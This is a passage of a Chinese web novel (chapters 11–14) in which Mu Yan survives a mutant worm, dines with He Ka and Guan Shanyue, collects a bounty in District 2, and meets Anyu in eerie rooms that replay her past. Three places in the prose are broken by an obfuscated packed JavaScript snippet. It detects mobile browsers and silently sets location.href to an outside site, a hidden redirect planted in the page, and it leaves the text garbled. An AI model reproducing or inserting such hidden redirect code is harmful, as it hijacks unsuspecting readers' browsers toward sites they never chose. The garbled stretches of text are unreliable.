她举起青铜刺就要刺下,大舌头突然泄了气般变成薄薄的一片,沐颜来不及反应,直接滑落到它的胃里。 呕。 里面的气味酸爽十足,她周身立刻开始发烫疼痛。 不行,还是得先出去。 里面缺氧,她快要到极限了。 沐颜往肉墙捅去,跟撞上软糖似的,在里面翻滚着往更深处滑去。 11. 心意 下一瞬,一阵儿柔和的风凭空升起,将蚯蚓卷成了渣。 沐颜再睁开眼时,周围的蚯蚓已经碎成一地渣渣,如同上一次砍杀猴脸花,她完全不记得过程。 她已经到了地面上,只露半颗脑袋在外面。 疑惑又无语之际,身前有红光传来,她赶紧往上爬,手里抓着的那只死鸟开始颤抖发热。 “这是要自毁?” 红光越来越盛…… 关山月顺着地下通道一路追来,挖了半天的泥都没看到沐颜的影子,心里都想好要给贺卡打断哪条腿了,偏偏老天还觉得他不够倒霉,多送了他一场泥石流。 “我擦,今日真是过得酣畅淋漓啊!” 他纵身往旁边树梢跳去,光溜溜的枝条没有着力点,他一点一点往下滑去。 关山月咽了口唾沫,底下是深不见底的悬崖,也不知道有没有厉害的异种在下面张着大口。 他调整了一下姿势,准备迎接坠落时,一片阴影落了下来。 是沐颜。 关山月顿时转忧为喜:“太好了,快拉我上去。” “好说。” “……你拿青铜刺抵着我做什么?我身上难道有金属光泽?” “这倒没有。” “那你还不赶紧把我拉上去……我真的快要掉下去了啊!” 沐颜浅笑。 “你叫关山月?” “对啊,有什么问题,我喜欢你叫我阿月,有什么问题?” 她又不是三岁小孩,一路上阿月的坦然自信,与贺卡间的交谈,明显说明他的身份不简单。 执勤队员都不一定能配上枪,他却有;贺卡给的激光器,他居然不要。 “你和贺卡认识?” 关山月欲哭无泪:“怎么,认识他就不能救我了?” “这倒不是,我想知道的是,你为何跟着我,和帮着我?” “我真的坚持不住……” “说!” “我们是朋友啊,你不是失忆了嘛,不记得很正常,而且是你自己不想提……啊!” 呼。 下坠的下一瞬,沐颜还是出手拉住了他。 这个解释,她还真没法反驳,生死之言,暂且能信。 “就知道你不舍得我死,快,快把我拉上去。” “抓紧……” 沐颜正要用力,脱力感袭来,手不自觉失去控制,她暗道不妙,黑夜中另一只手适时伸了下来。 “抓紧我。” 是贺卡。 “呜呜,你可算来了。” 他道:“跑得这么慢,其实我也不介意你掉下去的。” “别了,爬上来太费劲。” 沐颜松了口气,没事就好。 贺卡转过身,脸色有些难看:“你的手。” “不碍事,这家伙想自爆,我把它掐灭了。” 腥臭的粘液熄不灭,情急之下她只能割腕用血。 “你可真厉害,这种方法都能想到。” 贺卡扫了他一眼,关山月适时换了话题:“沐颜,你这一单可算挣够本了。” “这个生物样品很值钱?” “是它脑袋里的芯片值钱。” 难怪先前哑巴爷对她什么条件都不提就把芯片给出去情绪很激动。 “那我们赶紧回去。” 关山月看向贺卡:“你急的话可以先给他,按照规定可以先预支百分之十的酬劳,不然回去后走流程也需要一段时间。” 沐颜把死鸟递给贺卡:“我想先预支。” 贺卡视线不离她的手腕:“你先处理伤口。” “不碍事,血已经止住了。” “……好。” 交易完毕,三人往回走去,路过岔路口时,贺卡往左走,关山月往右走。 他们二人同时问:“你走哪边?” 沐颜:“……” 替她回答的是一大片哗哗作响的林子。 沐颜问:“他们怎么了?” 贺卡:“是婀娜树,一种喜欢找异种跳舞的变异树,对人倒不是很感兴趣,不用紧张。” “两条路都能顺利回到第三区城区,你,要和谁走?” “……我想天亮了再走。” 关山月挤中间:“沐颜,贺执政官的意思是他也想和你组队。咳咳,现在站在你眼前的,一个是风流倜傥英俊潇洒的我,另一个是冷脸心热的俊少,现在决定权在你,你要和谁组队?” 沐颜:“……” 他怎么那么执着要和自己组队,大有自己不给出一个答案不罢休的态势。 她看向贺卡:“贺执政官,在生死攸关的时候,你会回来救我吗?” 贺卡:“我会救你。” “贺执政官对四个区所有求救的人都一视同仁?” “是,但你例外。” “怎么个例外法?” 他缓缓道:“救他人我会想活,救你我会不顾一切。” 关山月默默往后退了几步,惹不起惹不起,谁料下一瞬沐颜的目光就盯了过来。 “我和你组队。” ! “我的答案居然是满分?” 沐颜扫了他一眼:“不是,是零分。” 她的命,不需要旁人来负责,这份情,她承担不起。 贺卡垂眸,夜色中看不太清神色,但沐颜能感觉到,他有些难过。 关山月问:“贺卡,今夜先别走了,等天亮再走吧。” 沐颜以为他会拒绝,没曾想他很快就点了头应下。 沐颜:“我去捡点枯树枝。” 等她回来,关山月就推着她往贺卡身边走去,一开始她有些别扭。 关山月凑旁边小声道:“执政官的伙食比我们的都好。” “你会不会说得太大声了?” 贺卡却像没事般,递给她一颗烤好的土豆:“尝尝。” 关山月一把夺过:“谢谢啦,我去巡查,你们聊。” 他也不介意,又拿起了另一颗递来:“坐吧。” 沐颜来这里之后,吃的最好的食物就是小香酒楼里的土豆制品,其余都是一堆口味单调的面粉。 现在一个香喷喷热腾腾的烤土豆摆在眼前,她还真拒绝不了。 “谢谢。” “番茄,孜然,新奥尔良,你喜欢哪个口味?” “番茄。” 果然人在饿急的时候,吃什么都很香。 “要是有肉就更好了。” “想吃?” “你有?” 贺卡点头,极其自然从兜里把死鸟拿出来,串串架火上烤。 “再添点柴。” 沐颜:“……吃了肚子里不会生一堆小鸟?” 贺卡浅笑:“这种不会。” “它叫不知鸟,不知生,不知死,不知喜,不知悲,百分之九十九的时候都是一动不动的。一出生就注定被淘汰的异种,如果不是它适合做芯片的载体,早就灭绝了。” 他虽这么说,可沐颜还是有点忐忑。 关山月的声音老远就传了过来:“好香,你们在烤了什么?” “居然是肉!” 他眼睛放光:“贺卡,能吃吗?” 贺卡点头:“烤好了,要吃吗?” 关山月不顾烫直接撕下半边翅膀:“那我不客气了。” 果然年轻就是虎啊。 贺卡又问她:“要吃吗?” “我可以以性命起誓,真的不会被感染。” 沐颜上手撕了一块:“倒也不必如此,我还没那么胆小。” 不知鸟的肉质和鸡肉口感差不多,但味道却有海鲜的清甜,那一瞬间味蕾的满足,简直下一瞬变异种都可以不在乎了。 贺卡不知从哪又摸出了一琉璃瓶:“要喝点吗?” 关山月眼睛都直了:“贺卡,给我一瓶我现在立刻消失。” 下一瞬,他怀里就多了一瓶,再下一瞬,他就出现在数米外。 沐颜惊奇:“你是百宝箱么,怎么什么都有?” 贺卡笑笑:“谈不上。” “不收钱?” “不收,但今夜的饭钱会从你的酬金里扣,实不相瞒最近财政有点紧张。” 果然,天底下就没有免费的宵夜。 但沐颜还是接了过来,整个第四区都没有肉供应,更别提酒了,就算他后面坐地起价,她也认了。 “好喝吗?” 沐颜眼前一亮,竟是她喜欢的梅子酒:“好喝!” 这顿饭吃得堪称酒足饭饱,常言拿人手短吃人嘴短,虽然她也不是不付钱,倒底还要几分脸,毕竟人家的吃食几乎都被她分走。 “贺卡,那个,对不起。” “嗯。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沐颜语塞,好在天降解围者。 滴答,滴答。 天空开始下起了雨,这里的雨都是酸雨,对皮肤伤害不小。 沐颜抬手就挡,下意识往树干靠去。 一把漆黑的伞突然出现在上方,贺卡又不知从哪拿出来。 “这是……” “记忆合金做的,足够轻和坚硬,但可惜原料太少,还不能批量生产应用在其他领域。” “你和我说这些不打紧吗?” “没关系,你想知道的,我都可以说。” 沐颜眼前一亮:“那你能告诉我如何去到第一区?” 贺卡目色沉了下来:“除了这个?” 这是为何? 他偏开目光,这里不好吗? 她两手一摊:“你觉得这里好吗?” 贺卡沉默许久:“沐颜,别去,不然……我会杀了你。” 沐颜一怵,她这是触碰到了什么不能说的禁忌? 他看过来,一字一句:“除了去第一区,别的事情,我都可以依你。” 她还没想好怎么回他,就见他嘴角开始渗出鲜血,贺卡却并不在意。 “你……没事吧?” “我当你答应了……” * 荒野一行,她见识到的生物,比动物园里精彩了不知多少倍。 想要在这里生存,神经大条点反倒过得更自在。 和贺卡的相谈,最后以她单方面不欢而散结束。 分别后,她和关山月回到第三区服务中心,被告知风车虎样本因为评级靠前,只能去第二区兑换酬金。 “第二区啊,那真不巧,我手头上还有点事,不能和你一起去了。” 沐颜也要去找李哥给交代,不方便带上关山月。 “那我们就此别过,有缘再见,你一切小心。” 他挥手告别:“我想我们还会再见的。” “好。” 他笑:“还有贺卡。” 沐颜:…… 她现在对贺卡是满腹好奇,谈到第一区时他态度一百八十度的转变,让她想靠近又想远离。 他们之间,除了隔着一个“沐颜”,还有一个安羽。 既然话已经说开,既然他们之间都不会有未来,何必自寻烦恼…… 12. 清洁 人类基地里,大部分人离世后,都会进行火化处理,让元素回归自然。 若是亲属有意愿,可以留下一小部分。 沐颜将有这个世界沐颜躯体的土壤和李哥的骨灰混在一起,迎风洒在了一处阳光充足的高地上。 “若有来世,希望你们能生活在一个充满阳光,没有异种,自由自在的世界里。” 三日后,沐颜靠着没有失效的通行证,来到第二区。 第二区比起第三、第四区,现代气息更浓厚。 同样是笔直修长的街道,这里多了不少店铺,来往的人随处可见,他们口中交谈的,也是富有生活气息的话题,异种的危机,在这里似乎不足为道。 她一路问去,还算顺利地找到了第二区服务中心,她正要进去,被门口处一个探头探脑的人拦住。 他压低声音问道:“拾荒人?” 沐颜不明所以。 那人接着道:“你是要去兑换酬金的吧?别去这啊,他们杀价杀得厉害,你来我们这换,保证价格让你满意。” 私自出区的拾荒人,想必就是通过黑市来流通物资。 沐颜问:“已经登记在册的收吗?” “收,收的。” 沐颜刚想问一下价格,身后路过一人,突然开口:“私下买卖生物样本是违法行为哦。” 看样子像是这里的工作人员。 沐颜摊手:“那抱歉了,虽然我缺钱,我暂时还没有违法的想法。” 沐颜径直往里走去,在电子咨询处说明来意后,很快有人过来带她到了专门的窗口,里面坐着的,正是先前门口提醒她的那个年轻女孩。 胸前的工牌显示,她叫苏萌。 “看来你做出了正确选择。” 见沐颜听劝,她心情不错,办理起来速度也快。 “执勤队预备役成员沐颜,在第三区拾荒计划期间收获了D级异种风车虎的生物样本,按照评级,你将获得不少于四千元的酬金。” “这个不少于,是怎么个说法?” “一千,实不相瞒最近财政紧张,剩下的部分,等财政压力减缓后将按照实际情况补发。” 沐颜:…… 贺卡倒真没骗她,财政是真的紧张。 过后再补不过是客套话,不少于只会是最低数,多半只会不补,而不会多补。 “作为人类公民,我们正生存在一个水深火热的时代,希望你理解和支持。” “明白,我同意。” 沐颜把风车虎样本拿出,很快就有专门的人员过来收走。 “麻烦你再帮我看看,我还提交的一个不知鸟的样本,剩下的钱能发多少?” 片刻后,苏萌惊奇道:“居然是芯片样本!” “对。” “你居然只想用它来换钱?” 沐颜不懂就问:“除了换钱我还可以做什么?” 她不掩羡慕:“芯片价值高,换言之你算是为人类社会做出了不小的贡献,可以用来和执政官兑换人情啊,那可相当于在人类基地有了一次免死的机会,只要你不是被异种感染,他们几乎能帮你摆平一切事。” 沐颜:“……我还是兑换钱吧。” 天上连馅饼都不会掉,还凭白得一个平步青云的机会,她还是脚踏实地为好。 “行吧,既然你已经做出了选择,按照评级,你将获得不少于一万的酬金,但眼下……” “眼下财政紧张,你直接和我说我能拿到多少。” 苏萌却道:“我要说的不是这个。你的样本是通过贺卡执政官那边提交的,可以全额领取。” “贺执政官的特权?” “不是,上面显示,除了财政预发的一千,剩下发不出来部分是从他薪资里扣的,你和他很熟?” 沐颜:“……不熟,非常不熟。” 这个芯片的酬金,她也不是那么想兑换了,她不想欠贺卡人情。 苏萌又道:“不过你也拿不完剩下的九千,这上面说了得扣二百五元出来,备注是——伙食费。” 二百五,他才是二百五呢,他就是故意的! 沐颜当即改了主意:“这钱我领了!” 半个时辰后,她怀揣着一万多元的巨款,心满意足地离开服务中心,底气十足地走在街道上,转了几圈后,挑了个人流量较大的地方,摆摊做起了老本行——五角一次的读信写信服务。 “读信,写信,有需要的吗?” “读信,写信,有需要的吗?” 她吆喝了一阵儿,果然有人过来了,不过是来赶人的。 “哪个区来的乡巴佬,居然在第二区当街骂人不识字。” 沐颜:“我不是,我没有。” “还狡辩,你刚才说的,大家伙都听见了,大家伙说是不是啊?” 那人嗓门大,这么一吆喝,围观的人渐渐多了起来,他们冲着她指指点点,骂她反动,不知感恩。 这都哪跟哪啊? 难道这里的人都识字?那不应该更讲文明吗? 惹不起她躲得起。 沐颜要走,可那些人堵着不让她离开,非要她道歉认错,骂的话越来越脏,越来越离谱。 “你竟敢暗讽安羽小姐的政策,你是不是看不起她!” “她连安羽小姐一根儿头发丝都比不上,有什么资格去质疑,去嘲讽。” “按我说我们也别和她啰嗦,直接通知执勤队,让她去劳改几日就老实了……” 沐颜无力长叹。 她把执勤队预备役成员的通行证亮出来,沉着道:“都给我让开,不然别怪我不客气。” 既然道理讲不通,那就只能动拳头。 可她不出声还好,一开口,围观的人情绪更是激动,当即挥着拳脚就朝她扑了上来。 半个时辰后,沐颜被一名执勤队队员押到了一个昏暗的地下空间。 其实一群人揍她她也没吃什么亏,只是在把人撂翻踢飞的时候,砸坏了不少临近店铺的东西。 那些店家狮子大开口就抓着她要赔偿,沐颜不想赔,他们就喊来执勤队把她抓走。 “执勤队预备役成员,还是女性,最适合做这个工作了。” 沐颜:“先说好我只同意出卖劳动力还债加勉强承认我也有不对的地方,其他乱七八糟的我可没答应啊。” 那人回头,冲她微微一笑…… “想什么呢,这里是正规工作场所。” 他指了指一旁的清洁工具:“你的任务是清理干净这四间屋子。” “我叫流风,如果有不明白的地方可以问我……当然,最好是没有问题要问我。” 沐颜:…… 她看了看手中的工具,无奈叹气,遥想找到去第一区的方法,目前还不能和执勤队起冲突。 她走到第一个房间门口,正要推门,脚下突然踩到什么东西,低头看去,昏暗的灯光下,浓稠墨绿的液体反射着冷光,看清的一瞬,腥臭的气味随之袭来。 来到这里已经有一段时间,她对这个气味再熟悉不过,是异种碎尸。 尽管已经有了心理准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535770|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备,但沐颜推开门的刹那,仍被震惊。 房间里面,有她初到时的喜宴场,短发老奶奶和胡子大叔凑在一起聊着天,有正准备入场的新人脸上充斥着迎接未来的喜悦与紧张,有极乐大世界前遇到热情的苏桦,有她随手救下的苏桦端来黑糊糊的吃食问她吃不吃,是哑巴爷,头巾阿姨和村子里的其他人一起,围过来找她帮忙读信写信;有李叔半要挟半求她帮忙找女儿…… 她在第四区的每一份经历,都被很好地保存在这里。 “老奶奶,大叔!” “苏桦,哑巴爷,栖乐!” “李叔!” 她一个一个上去答话,想弄明白到底是怎么一回事。 可她没有得到回应。 她伸出的手没有从他们身上穿过,反倒是被他们避开了。 他们有实体,有温度,能说会动,是活人。 可怎么可能,她之前分明看到他们死在眼前,有一些甚至碎得不能再碎,不可能有任何生还的可能。 失去的人怎么会重新活过来,还和没事人一样? 可这一切都太过真实。 她想不明白,索性也不愿再去想。 他们活着,本身就是一件值得高兴的事情,那些痛苦、灾难,从未在他们身上出现,不好么。 沐颜抹了抹眼角的泪,拿起一旁的清洁工具,突然意识到什么。 流风让她来做清洁,可这里有什么东西是需要清洁的? 思索半晌,她想着先去下一个房间看看能不能找到其他线索。 第二个房间屋前,同样渗出来不少异种残肢断肉,一片狼藉。 她清出能落脚的地方,飞快推开门。 和关山月组队、暴打皮条客十三、冷眼对康大叔、和贺卡的树下谈心…… 在第三区里她经历过的每一件事,遇到的每一个人都以一个小世界的形式,同样按时间线往前不断呈现。 这一次沐颜已经冷静下来,她发现了不对劲的地方。 这些房间的场景里,本该她出现的位置,空无一人,但那些人,却对着空气在演绎和她经历的一模一样的事,让人脊背发凉毛骨悚然。 她心里涌起一股冷意的同时,亦感到愤怒。 一点也不好笑。 她就像是被人操纵的棋子,要往哪里走,要遇到什么事,要碰上什么人,都已经在房间里注定。 如果不是怪力乱神,必然有人在戏耍她。 沐颜操起拖把,朝先前和她抢越野车的那几人打去,可拖把径直从他们身上穿过。 嗯? 无法攻击? 她扔了拖把,赤手空拳迎上去。 那几人明明不看她,却能每次都准确避开她的攻势,和空气打得有来有往。 厮打一阵儿后,沐颜心里寒意更甚,明明是重来一次,但那几人的攻守却和先前一模一样,连带着她的出拳招式,也逐渐变得和原先一致。 猜想得到印证,沐颜立即退出来要离开,此地微妙。 但没走多远,身后第三间房门里突然传来了动静,像是重物敲打在泥地里的声音。 第一间房门里对应发生的是第四区里的事,第二间房里是第三区发生的事,以此类推,那第三间房,第四间房,对应的,是不是就是第二区、第一区将发生的事? 四、三、二、一,这几个数字她突然感觉好熟悉,可一时之间她如何想,也想不出半点思绪,但脚步,已经不自觉朝第三间房间走去。 是人是鬼,是神是魔,她都要亲眼一见! 13. 安羽 “喂,你在这做什么?不是让出来打扫,怎么半天都没有动?” 流风去而复返,声音突然冷不丁在身后响起,沐颜吓了一跳,下意识将扫把朝他挥去。 流风反应很快,躲开了,有些不悦:“袭击执法人员,可是罪加一等。” 沐颜连忙道歉:“我不是有意的,你突然出现,吓到我了。” 流风盯着她看了好一会儿,勉强相信:“我问你呢,为什么不好好打扫。” “前两个房间我看了,没看到需要我打扫的地方,再说,第三间房间不也是我负责的区域?你也没说一定要按顺序打扫。” 流风冷笑了下,沐颜完全没明白这个时候笑的必要。 他指着地面上两滩难闻的液体:“你这叫不用打扫?” “一看你就没干过家务,不知道里面因为进进出出,最后才打扫么。” “你……” 流风被堵得一时接不上话,这话,听着,倒也没毛病,于是他走到最近的第三间屋子,瞟了一眼,指着里面问:“你管这叫不用打扫?” 沐颜无奈。 流风方才说的有什么不懂去问他更像是没话找话的地方,她回来的正话反说。 她来到门口,又看了一眼,里面还是和方才一模一样。 “这里面哪里需要我清扫?” 流风二话不说,抓过她手里的扫把,伸进里面,在胡子大叔脚上一扫,只见胡子大叔毫无觉察,仍淡然和白发老奶奶聊着天,但如同划过空气的扫把,却带出了一样东西。 沐颜定睛看去,赫然是一只长着细小肉手,如同篮球般大小的章鱼肉瘤头。 她一退三步远:“这……这什么啊!” 流风翻了个白眼:“垃圾,你需要清扫的垃圾。” 沐颜额上冒冷汗,她遇到的那些人,难道都不是人,都是和这一样的生物一样的怪物? “还看,还不赶紧做清洁,今日五十前若没有完成,惩罚翻倍!” 沐颜咽了口唾沫,在他威逼的目光下,只能过来拿回扫把。 “这还差不多。” 流风说着,转身往外面走去。 “别想偷懒,我会随时查看,扫得不干净,惩罚同样翻倍,你……” 他的话音陡然收住,不可思议看向脚下,末了又看向沐颜。 沐颜一时尴尬,笑着解释:“那个,你脚边也有脏东西。” 她在流风转身的一瞬,脑子里突然冒出一个想法,想验证一下他到底是不是怪物,于是扬起扫把往他脚边送去。 然后,收获了流风“暴力执法”,被他丢进第二个房间里,砰的一声关上了房门。 沐颜审视着身后的场景,他们依旧自顾自上演着和她的剧情,荒诞又离奇。 沐颜当然没动。 她可不想拿扫把一一在他们身上扫过,然后扫出一堆恶心吓人的东西。 她等了一会儿,想着流风已经走远,慢慢拉开一条缝,见外面果然没有动静,便准备离开。 她要去第四个房间,那里才是她这次来最应该去的地方,多余的好奇心,在生死面前都要收一收。 但眼里的余光没法收,她出去关上门的时候,还是不小心瞥到了房间里面的场景。 在最前面的胡子大叔又开始重复他和白发老奶奶的对话。 他们像极了今夜的演员,一遍又一遍重复着精彩的表演,可惜,没有观众。 沐颜轻轻合上门,以最快速度冲向第四间房间。 第三间房间在走廊尽头,按照正常编号,第四间房间就在走廊转弯后。 可她一头撞上了一堵毛茸茸的墙,走廊转角处,没有房间。 她揉着吃疼的额头,忍不住吐槽,莫名来到这个鬼地方,真是活久见了没见过,什么稀奇古怪乱七八糟的事情,都让她碰上了。 身后吱呀一声,她一个机灵,以为是什么东西要冲出来,她赶紧拔出青铜刺。 回身一看,没有神出鬼没的流风,也没有奇怪的异种出现。 是第三间房间的房门,好似被风吹开了,从缝隙里,透着黄昏的日光。 沐颜思索了下,小心翼翼靠近。 第四间房间找不到,先看看第三间房间是什么情况也好。 “你好,我是来打扫房间的,方便进来吗?” 她试探着问,也没打算能等到回答,只顾着去把水桶刷子提过来,正要进去,就听到里面传来一个温柔的女声:“请进。” 她愣了一下,房间里居然有人回应她,而且这个声音她之前听过。 是安羽。 房间里的场景不是她去到房屋中心对抗异种奖赏,不是在街边摆摊被人刁难后来到这里,那是一片无边际的金色稻海,一阵风吹过,掀起层层稻浪,稻穗枝叶摩擦,发出沙沙的声响。 不知道是不是错觉,沐颜好似闻到了阳光晒在田野上的气息。 不远处的稻海里,一道倩影半隐半现。 安羽带着斗笠弯着身子,在除草。 画面对比冲击过大,她缓了好一会儿,这才走过去。 “安羽小姐,请问我有什么能帮到你的?” 安羽回过神,看到是她,并不意外。 “你来了,我等你好久了。” ? 这话什么意思? 她难道误会了自己和贺卡关系不一般?那可真是冤枉她了。 “是贺卡告诉你我会来?” “是……又不是,总之,解释起来有点复杂。” “没关系,我有时间,你慢慢说。” 安羽冲她一笑:“可我没有时间啊,今天日落前,我需要将这片稻田里的杂草都拔掉,不然它们和稻苗抢营养,会影响收成的。” “我帮你?” “你不害怕吗?”安羽朝她举起手里的杂草,杂草原本干瘪的枝叶,在看到沐颜的一瞬,瞬间支棱起来,发出古怪的尖叫声。 杂草也是异种! 沐颜下意识往后退了一步。 安羽并不见怪:“你们新面孔第一次见,都会害怕,但不用担心,它们除了会扭,叫声难听点,和普通杂草真的没什么区别。” 沐颜脸色难堪,指着旁边的稻苗:“那它们也是……” 安羽笑笑,没有解释。 “你在旁边等我,太阳快落下了,我得抓紧时间。等我忙完了,我们再聊,可以吗?” 当然是再好不过……只是,她为何对自己这么好说话? 她在一旁数着稻穗打发时间,耐心等待,在最后一丝阳光快要沉下地平线时,安羽终于停下手中的动作朝她走来。 “久等,我们走吧。” 往上走的时候,流风果然阴沉着脸站在出口处。 “沐颜,你做完清洁了吗?” 沐颜盘算,左右今日下不去手清扫,能拖一时拖一时。 她刚想说自己心甘情愿接受翻倍惩罚,但安羽比她先开口。 “流风,你脑子乱了,回去清修,这里不用你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536537|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “安羽小姐,我觉得我现在很清醒。” “不,你没有。” 安羽的回答比他更斩钉截铁,流风僵持一会儿,眼神里的戾气和阴霾,都消散不少,他深吸一口气:“我知道,我这就回去,那这里的清洁工作,还劳烦安羽小姐多加上心。” “去吧,这里有我。” 两人的对话,沐颜听得云里雾里。 这是怎么回事? 安羽问:“你是不是被送来做清洁惩罚?” 沐颜连忙点头:“他让我清扫房间,可房间里装的,都是……都是……” 她一时都不知道如何描述。 人变成异种?还是异种就是人? 她话在嘴里翻滚了半天,换了一个委婉的问法: “我在第一、第二个房间里看到的,是活的还是死的?” 安羽并不意外她会这么问,淡淡道:“你认为他们是活的,他们就是活的,你认为他们是死的,就是死的。” 沐颜:…… 这说了和没说一样,摆明不想和她说。 “当然,你不可能完成任务,一会儿我上系统将你的惩罚撤销,这事就算揭过。” ? “你怎么……对我这么好?” “自然有前提。” “你说。” 沐颜猜大概率和贺卡有关,果然,安羽说:“我需要你离贺卡远一点,最好永远别出现在他面前。” 她心道,她果然误会了。 “我和贺卡不是你想的那样,我和他……” 贺卡喜欢的,是这个世界的沐颜,不是从另一个世界里过来的她。 “我可以答应你,但我想贺卡在你心里地位应该不一般。” 既然被误会了,那么她也不能白白被误会。 “你还想要什么?” “我想知道,你刚才说的新面孔,是什么意思?他们又去了哪里?” “第一个问题,我解释不清楚,这里每过一段时间,就会有一些从四区之外的地方来的人,他们行为举止,和这里的人有点不一样,每次他们出现,这里都不会很太平。” 沐颜心里掀起波澜,这不就对上了,这说的情况就是她啊,这里一定有可以离开的方法。 她一定要离开这里。 “然后呢,他们去了哪里?” 安羽目光冷了些:“他们去的,是第一区,然后……” “然后呢?” “不知道,没有人知道。” “怎么可能,你可是这里最年轻杰出的科学家,还有你也不知道的事情?你不说,那我去问贺卡咯。” 安羽叹了口气:“你当然可以去,他们和你一样,从第四区一路往第三、第二区走,最后在去往第一区的路上,遇到贺卡,然后……他们都死了。” 沐颜愕然。 “第一区为何去不得?只要涉足都得死?” “是,这是规则。” “谁定的规则?” “制定规则的人定的规则。” 沐颜:…… 原来贺卡不让她去第一区,是因为不想杀她? 可是充满血腥异种的世界,她如何会想留下来? “我死了,就永远不会出现在贺卡面前,你的担忧能够彻底消除,你为何要告诉我?” “你是怕贺卡不愿对我下手?” 安羽笑中满是寒意:“不,他同样会杀你,但也会心痛,我只是不想他难过……” 14. 米饭炸蛆 和安羽的交谈不算愉快,但她还是提议说要带她来吃个饭,沐颜求之不得想多从她身上打探点东西,跟着她来到一个叫风月酒楼的地方。 进去一看,身后起了一身鸡皮疙瘩,酒楼里面的布置和她第一次出现在这里时的那个喜宴场一模一样。 菜品很快传上来,小豆炖蘑菇,糖醋排骨,红烧狮子头…… 一连十道,不再是土豆制品,而是实打实色香味俱全的肉蔬大厨出品,隔着老远的距离,都能闻到诱人的香味。 沐颜神情紧张看着不断传上来的菜,一直到最后一道,都没看到张云刺身,这才稍稍放下心来。 她刚拿起筷子,眼前又浮现胡子大叔,短发老奶奶,栖乐苏桦,李叔……他们的身影,一时胃口全无。 无论他们是生是死,这些都是他们一辈子都吃不到的美食。 安羽给她夹菜:“别客气。” “……多谢。” “在想什么?” “在想,第三区,第四区里很多人,别说吃,可能连想象,都想不出这一桌的美味佳肴是什么样子。” 安羽笑笑:“人有人的命,异种有异种的命,你想操心吗?” 沐颜一时语塞。 她现在连自己都自身难保,靠着一点蛮力和运气走到现在,何来的多余力气去助人? “你们既然享受了他们的机遇和尊位,按理就应……” “如果有选择,你会为他们操心吗?” 不知何故,安羽又问了一次,态度比起先前还要坚定,她竟是在很认真地问。 沐颜恍悟,当即起身警戒,这不是好意请吃饭,这是鸿门宴。 因为我的出现,给你们带来了麻烦,所以你们解决不了麻烦,就打算解决我? 安羽摇头:“选择权在你,沐颜,还有,菜里没毒。” 沐颜如何还能有吃的心情。 “来找我挑事的人,是你的安排?” “我没有。” “那你找我到底想说什么?实话而言,安羽小姐,我也并未看出你对贺执政官有多深的感情。” 安羽眼里有些迷茫:“我…还不够喜欢贺卡?” 沐颜摆手,有些烦躁:“我话的重点不是这个。” 她道:“没关系,坐下吃饭吧,一会儿凉了就不好吃了。方才,你就当我随口一说,如果让你感到冒犯和不愉快,我向你道歉。” 沐颜的初级想打在一团棉花上,除了无力还是无力。 “我就不吃了,你吃吧。” 安羽帮她盛饭:“天大的事情塌下来,还有高个子顶着,饭还得按时……” 她话音顿住,沐颜也意识到了不对劲,当即又往后退了一些距离。 平平无奇的大米饭突然开始蠕动,安羽手一抖,碗掉落在桌上,顿时米饭四处弹跳,以肉眼可见的速度开始膨胀蠕动,最后化为拇指般大小的乳白色蠕虫。 它们见谁啃谁,一大桌菜肴当即被祸害。 安羽抚额:“抱歉,让你见笑了。” 酒楼经理很快带着手下过来,他们拿来一种蓝色罐子,开始往桌上喷气体,蠕虫碰到气体,动作很快迟缓下来,他们再一个个抓走。 桌上顿时一片狼藉,但沐颜注意到,周围食客都见怪不怪,一开始还扭过头来看,经理带人过来时,便纷纷转了回去。 难道异种也看人下菜碟,面对第二区的权贵都变得温顺客气? 第四、第三区的人可就没那么幸运。 “看来稻米还是不够稳定,我又失败了。” 沐颜有些不确定:“你说,方才的米饭是你地里种的那些,它们原来,是异种?” 安羽:“嗯,有问题?” 问题大了。 沐颜庆幸,还好她没动嘴,她可不想饱餐一顿后肚子里长出一堆乱七八糟的小虫子。 “菜都不能吃了,我让后厨重新准备一份。” “不用这么麻烦了,其实我也不是很……” “不必如此客气,这次我亲自下厨,就当赔罪。” 沐颜拒绝不了,安羽说完,自顾自就走了,留她走也不是,留也不是。 她环视周围,更是坐也不是,站也不是,索性走到一旁倚着柱子让看起来没那么尴尬。 “哎,听说了吗?这次的拓荒行动很成功。” “有贺执政官主持大局,怎么会出问题。” “听说他这次回来,就要和安羽小姐订婚了,真的假的?” “怎么,你看起来比当事人还着急,难不成你对安羽小姐有非分之想?” “瞎说什么,我就是最馋了,他们订婚成婚,那可是普天同庆的日子,那排场,肯定不可能少啊。” “放心,他们的姻缘是经受过上天考验的,这个世上,再也没有人比他俩更相配……” 沐颜在一旁听着,也不知为何,心底突然泛起一阵酸溜溜的滋味。 她也奇怪,难道她真的喜欢贺卡? 不能吧? 谁会喜欢他冷冰冰,没事老喜欢上高处吹风装酷的大男神,躲他都来不及。 不对,不对,这更不是重点,重点是她要怎么去到第一区,找到离开这里的方法。 旁边这桌人看起来健谈也平易近人,她思索了一会儿,等也是干等,不如上他们那里碰碰运气。 侍应生这时刚好过来上菜,她嘴甜手快过去说了几句,成功把菜拿了过来替他送过去。 